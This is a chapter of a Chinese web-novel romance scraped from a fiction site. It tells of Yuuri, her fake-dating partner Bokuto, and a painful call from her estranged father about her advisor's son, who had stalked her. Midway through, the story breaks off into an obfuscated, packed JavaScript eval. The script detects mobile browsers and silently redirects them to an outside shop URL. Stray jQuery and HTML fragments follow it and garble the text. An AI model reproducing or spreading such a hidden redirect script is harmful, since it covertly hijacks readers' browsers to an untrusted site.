文趣网 > 都市小说 > 和木兔伪装情侣中 > 24.伪装情侣第二十四天
    木兔的注意力已经完全集中在了下一个要吃的食物上。

    仿佛刚刚直接叼走悠理筷子上炒面的人不是他一样,面上一点在意或者羞赧都没有。

    发现悠理僵住没动,他还疑惑地嗯了一声。

    “怎么了?”木兔这才抬眼看向悠理的脸。

    悠理只觉得有人从脸上放了一把火。

    滚烫的燥热感很快扩大,隐约还有从脖子蔓延向下的趋势。

    木兔,木兔在干什么!

    她恍恍惚惚地僵在原地。

    那是她刚刚用过的筷子诶,木兔直接就上嘴吃了?

    吃完了还这么一副“到底发生了什么”的疑惑模样,搞得好像是悠理太在意纠结这点一样。

    但,但是这也太——

    木兔瞥了一眼半空中的筷子,非常贴心地帮助她放下了手,让悠理换了个舒服的姿势呆住。

    亲近的行为完全出自本能,大脑都没有审核这样做是否不妥,便顺从心意指挥身体做出了行动。

    木兔也后知后觉发现嗓子有点刺痒,努力吞咽了好几次口水才将自己从想努力咳嗽的状态中解救出来。

    “那我直接自己拿了哦?”他问。

    悠理依旧还处在大脑宕机的状态。

    木兔便直接从悠理放在手边的关东煮小碗里拿起串有墨鱼丸的竹签。

    他叼走一颗,而后将剩下的一颗举在悠理的面前。

    “再不吃要被空调吹冷了。”木兔提醒。

    悠理下意识咬住。

    为了防止买回来后味道变差,她是特意用店里的小锅加热煮的沸起才装盒带回来的。

    过了这么久,丸子的温度没有很烫,也没有冷却,是处于一个刚好可以入嘴的温度。

    海鲜的甜味通过咀嚼蔓延口腔,悠理的理智随着进食的过程一点点回笼,脸上的热度却迟迟下不去。

    她非常认真地想告诉木兔,这样做是不对的,会让别人误会。

    但看着木兔吃完丸子又欢欢喜喜吃沙拉的样子,悠理又觉得,这对于木兔来说,估计根本就不是什么大事。

    以前他也总爱直接从队友的夹子上面抢肉来着,所以完全是把她当作亲近朋友的小习惯吧,只不过这是第一次体验而已。

    是她大惊小怪。

    是她胡思乱想。

    悠理戳了两下还没有吃完的海鲜炒面,深呼吸了七八次,终于勉强恢复了食欲。

    不过直到晚上躺在床上,她还是觉得耳朵烫烫的,翻来覆去都睡不着。

    打开手机想看看斋藤睡没睡,却发现今天好友早早忙完了工作,已经被酒精带进了梦境。

    无奈,只好去刷了刷推。

    为了睡觉而解开的头发散乱地盖在身上,悠理趴着胡乱点击着屏幕,时不时还要拨动一下刘海,以防止视野被遮盖。

    等发了工资去剪头发吧。

    比量了一下刘海长度,悠理在待办事项里记上这点。

    返回去继续刷推,爸爸最新的动态猝不及防出现在悠理的眼中。

    相对于悠理的妈妈,她的爸爸几乎是在离婚之后没多久,就无缝续上了下一段婚姻,并在次年有了新的小孩。

    那是个和悠理很像的小女孩。

    爸爸对小女儿很好,比对之前的悠理有过之而无不及,几乎是要星星给星星,要月亮给月亮。

    就好像所有的爱都瞬间抽离走,转移到了新的家庭中,一丝一毫都没有给悠理留。

    悠理曾经在深夜无数次刷新爸爸的动态,企图捕捉到过去存在的痕迹。

    就好像那样,小时候的幸福就不会像是她幻想出来的场景一样,是真实的。

    然而她什么也没有找到。

    只看着那些场景被新的人取代。

    渐渐地,悠理也就不去找了,只会在首页看到爸爸妈妈的动态的时候才瞧一眼。

    爸爸的新妻子是搞艺术品售卖的,这次发的两条新动态,其中一条便是替老婆宣传新画展活动的事。

    而另一条,是炫耀小女儿画画。

    悠理提起艺术时候他嫌弃并觉得没用,但在小女儿身上却是一副,你做什么爸爸都觉得很好很支持的超开明模样。

    ……

    悠理快速点开下一个猫猫狗狗的搞笑视频,企图刷新一下记忆。

    睡不着就睡不着嘛,早知道就不刷推了。

    她苦恼地抓了抓头发。

    这下好了吧。

    悠理开始寻找还有什么事情可以转移一下注意力。

    在几个好友的聊天记录里转了一圈,悠理终于想起了一件。

    还没有给宫侑还人情呢!

    之前是想着味增做完了分一些,但是忘记了发酵还要好久,她现在和木兔合租,保不齐什么时候就会和宫侑碰面。

    时间上就有一点不合适了。

    那不然这几天做一点小吃什么的,让木兔带过去吧。

    不过话说回来,杏奈好像很吃宫侑这款类型来着。

    放下手机,悠理在东一下西一下的胡思乱想中,不知道什么时候睡了过去。

    接下来几天,生活都维持在这种公寓——学校——便利店的三点一线中重复着。

    便利店的工资是周结。

    悠理很快就拿到了她第一个礼拜的兼职工资,将她快要完全扁下去的钱包撑起来了一点。

    与此同时,初赛的结果也出来了,悠理以高分进入了下一个环节,拿到了新的主题。

    悠理前一天晚上看到邮件,开心地拉着木兔在公寓里狠狠吃了一顿放纵餐,给宫侑做了不少甜点,嘱咐木兔明天带去队里。

    想着第二天当着导师面正式说比赛结果的事情,也就没有在聊天软件上告知。

    但她还是在推上发了一条动态,开开心心地炫耀了一下。

    才发完一会,视频聊天的提示音响起。

    是爸爸。

    悠理整理了一下因为开心而乱糟糟的头发,从床上坐起来,接通视频。

    “爸爸!”悠理笑盈盈打招呼。

    手机对面的男人也跟着她笑了一下:“悠理,我看见你的动态了,是过初赛了是吗,真厉害。”

    很久都没有听见爸爸的夸奖,悠理心里飘飘,觉得非常不真实。

    她用力地点头:“谢谢爸爸!”

    男人却没有立刻再开口,而是看着悠理沉默了下来。

    悠理感觉有点不对。

    她拘谨地舔了舔干涩的唇瓣:“……爸爸找我有什么事情吗?”

    男人的目光似乎往屏幕外的一个方向飘忽了一下。

    他声音沙哑,开口道:“悠理啊,爸爸记得,你读研的老师是藤堂勇太郎对不对?”

    一瞬间,悠理像是被人从头顶上浇下来了一盆冰水一样。

    透心凉。

    甚至都不是因为,看到了她发的动态,心血来潮来恭喜一下她。

    是因为有需要。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223704|196324||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    悠理抿着唇,抗拒接话。

    对面的人却自顾自地道:“你阿姨最近一直在找一幅画,托了很多关系才发现在你老师手上收藏着,你能不能帮爸爸一个忙?”

    真的听见这些话,悠理的心又猛地向下坠了坠。

    其实本来也不应该抱有什么幻想。

    她眨了眨眼,抑制眼泪流出来的欲望:“爸爸,你知道吗?他儿子跟踪过我。”

    男人盯着她的脸:“……悠理,他只是很喜欢你。”

    “我听那孩子说了,那段时间你那边有跟踪狂,他只是担心你一个人住会有事,所以保护你,他什么也没有做不是吗?“

    悠理几乎是从床上弹了起来。

    “如果他做了什么,爸爸你现在是不是还要劝我为了以后息事宁人?”

    悠理真的不理解,为什么他可以说的这么轻描淡写。

    她是他的女儿啊,即便婚姻结束,有了新的家庭,她也还是他的孩子啊。

    “而且不是他不做什么,是因为有人在保护我。”

    悠理认真道。

    “悠理,你不要这么激动。”男人无奈道,“我不是那种要卖女儿的人,我只是想你能不能对藤堂广树态度好一点,让你阿姨她……”

    悠理失望道:“爸爸,我有男朋友了。”

    显然藤堂并没有告诉悠理爸爸这点。

    男人吸气:“什么时候的事?你有没有跟你妈妈说?是什么人?”

    悠理抹去即将溢出的眼泪,一字一句:“是个比爸爸要好一万倍的人。”

    会担心她没钱饿肚子请她吃饭,帮她忙,注意她情绪。

    超级无敌大好人,她这辈子最幸运遇到的人。

    “比爸爸关心我,比爸爸爱我,我会和他幸幸福福的。”

    “所以,我不会给藤堂广树任何好脸,他一次一次不停的更进一步逼迫我,就算没有这个男朋友在,我也不会喜欢他。”

    说完,悠理直接挂了电话。

    这次或许是没有直接和人争吵,也或许是记得并不是一个人孤独的在这间房子里住着,悠理并没有像上次一样崩溃到爆哭。

    她静静坐在床上流了会眼泪。

    好倒霉。

    为什么要选这个老师,为什么会碰到藤堂。

    为什么爸爸妈妈都会变成这样。

    安静哭了不知道多久,她一抹眼泪,想要出门去洗把脸。

    一下没注意动静,和路过她门前的木兔撞了个正着。

    木兔一把揽住她的肩膀,以防悠理被直接撞摔到地上。

    “咦,你哭了?”

    木兔一低头就看见她红红的眼睛,连忙问道:“怎么了?”

    悠理嗫喏着:“我爸给我打电话了。”

    木兔揉了揉她的脑袋:“那你想跟我说吗?”

    悠理沉默。

    “不想说就不说。”木兔笑了一声。

    悠理只觉得腰间一紧,视野飞速升高,直接被人举到了半空中。

    “我帮你把烦恼甩一甩吧!”他笑着说,“甩出大脑的话,就不会让悠理流眼泪了。”

    说罢,像是抱小孩一样,直接带着她转圈圈。

    “诶——等等木兔桑!”

    悠理来不及阻止他,只能快速扶住木兔的肩头维持住身体的平衡。

    天旋地转。

    视野之中唯一相对静止清晰的,只有木兔的脸。

    只有木兔。